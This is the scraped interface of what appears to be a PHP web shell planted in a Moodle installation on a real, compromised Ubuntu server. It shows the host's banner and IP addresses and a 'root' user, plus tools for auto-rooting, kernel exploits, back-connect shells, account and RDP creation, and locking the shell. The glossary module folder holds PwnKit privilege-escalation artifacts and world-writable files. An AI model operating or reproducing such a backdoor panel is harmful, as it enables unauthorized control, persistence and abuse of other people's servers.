Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
glossary /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
formats
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.txt
1.7
KB
-rwxrwxrwx
TODO.txt
607
B
-rwxrwxrwx
approve.php
2.22
KB
-rwxrwxrwx
deleteentry.php
5.93
KB
-rwxrwxrwx
edit.php
4.03
KB
-rwxrwxrwx
edit_form.php
6.72
KB
-rwxrwxrwx
editcategories.html
3.29
KB
-rwxrwxrwx
editcategories.php
10.82
KB
-rwxrwxrwx
export.php
2.62
KB
-rwxrwxrwx
exportentry.php
4.36
KB
-rwxrwxrwx
formats.php
9.5
KB
-rwxrwxrwx
import.php
15.35
KB
-rwxrwxrwx
import_form.php
1.14
KB
-rwxrwxrwx
index.php
4.34
KB
-rwxrwxrwx
lib.php
157.28
KB
-rwxrwxrwx
locallib.php
29.11
KB
-rwxrwxrwx
mod_form.php
10.57
KB
-rwxrwxrwx
print.php
6.89
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
rsslib.php
7.79
KB
-rwxrwxrwx
settings.php
3.82
KB
-rwxrwxrwx
showentry.php
3.12
KB
-rwxrwxrwx
showentry_ajax.php
3.77
KB
-rwxrwxrwx
sql.php
3.83
KB
-rwxrwxrwx
styles.css
2.5
KB
-rwxrwxrwx
tabs.php
3.86
KB
-rwxrwxrwx
upgrade.txt
1.1
KB
-rwxrwxrwx
version.php
1.2
KB
-rwxrwxrwx
view.php
19.33
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : showentry.php
<?php require_once('../../config.php'); require_once('lib.php'); $concept = optional_param('concept', '', PARAM_CLEAN); $courseid = optional_param('courseid', 0, PARAM_INT); $eid = optional_param('eid', 0, PARAM_INT); // glossary entry id $displayformat = optional_param('displayformat',-1, PARAM_SAFEDIR); $url = new moodle_url('/mod/glossary/showentry.php'); $url->param('concept', $concept); $url->param('courseid', $courseid); $url->param('eid', $eid); $url->param('displayformat', $displayformat); $PAGE->set_url($url); if ($CFG->forcelogin) { require_login(); } if ($eid) { $entry = $DB->get_record('glossary_entries', array('id'=>$eid), '*', MUST_EXIST); $glossary = $DB->get_record('glossary', array('id'=>$entry->glossaryid), '*', MUST_EXIST); $cm = get_coursemodule_from_instance('glossary', $glossary->id, 0, false, MUST_EXIST); $course = $DB->get_record('course', array('id'=>$cm->course), '*', MUST_EXIST); require_course_login($course, true, $cm); $entry->glossaryname = $glossary->name; $entry->cmid = $cm->id; $entry->courseid = $cm->course; $entries = array($entry); } else if ($concept) { $course = $DB->get_record('course', array('id'=>$courseid), '*', MUST_EXIST); require_course_login($course); $entries = glossary_get_entries_search($concept, $courseid); } else { print_error('invalidelementid'); } $PAGE->set_pagelayout('incourse'); if ($entries) { foreach ($entries as $key => $entry) { // Need to get the course where the entry is, // in order to check for visibility/approve permissions there $entrycourse = $DB->get_record('course', array('id' => $entry->courseid), '*', MUST_EXIST); $modinfo = get_fast_modinfo($entrycourse); // make sure the entry is visible if (empty($modinfo->cms[$entry->cmid]->uservisible)) { unset($entries[$key]); continue; } // make sure the entry is approved (or approvable by current user) if (!$entry->approved and ($USER->id != $entry->userid)) { $context = context_module::instance($entry->cmid); if (!has_capability('mod/glossary:approve', $context)) { unset($entries[$key]); continue; } } $entries[$key]->footer = "<p style=\"text-align:right\">» <a href=\"$CFG->wwwroot/mod/glossary/view.php?g=$entry->glossaryid\">".format_string($entry->glossaryname,true)."</a></p>"; glossary_entry_view($entry, $modinfo->cms[$entry->cmid]->context); } } if (!empty($courseid)) { $strglossaries = get_string('modulenameplural', 'glossary'); $strsearch = get_string('search'); $PAGE->navbar->add($strglossaries); $PAGE->navbar->add($strsearch); $PAGE->set_title(strip_tags("$course->shortname: $strglossaries $strsearch")); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); } else { echo $OUTPUT->header(); // Needs to be something here to allow linking back to the whole glossary } if ($entries) { glossary_print_dynaentry($courseid, $entries, $displayformat); } /// Show one reduced footer echo $OUTPUT->footer();
Close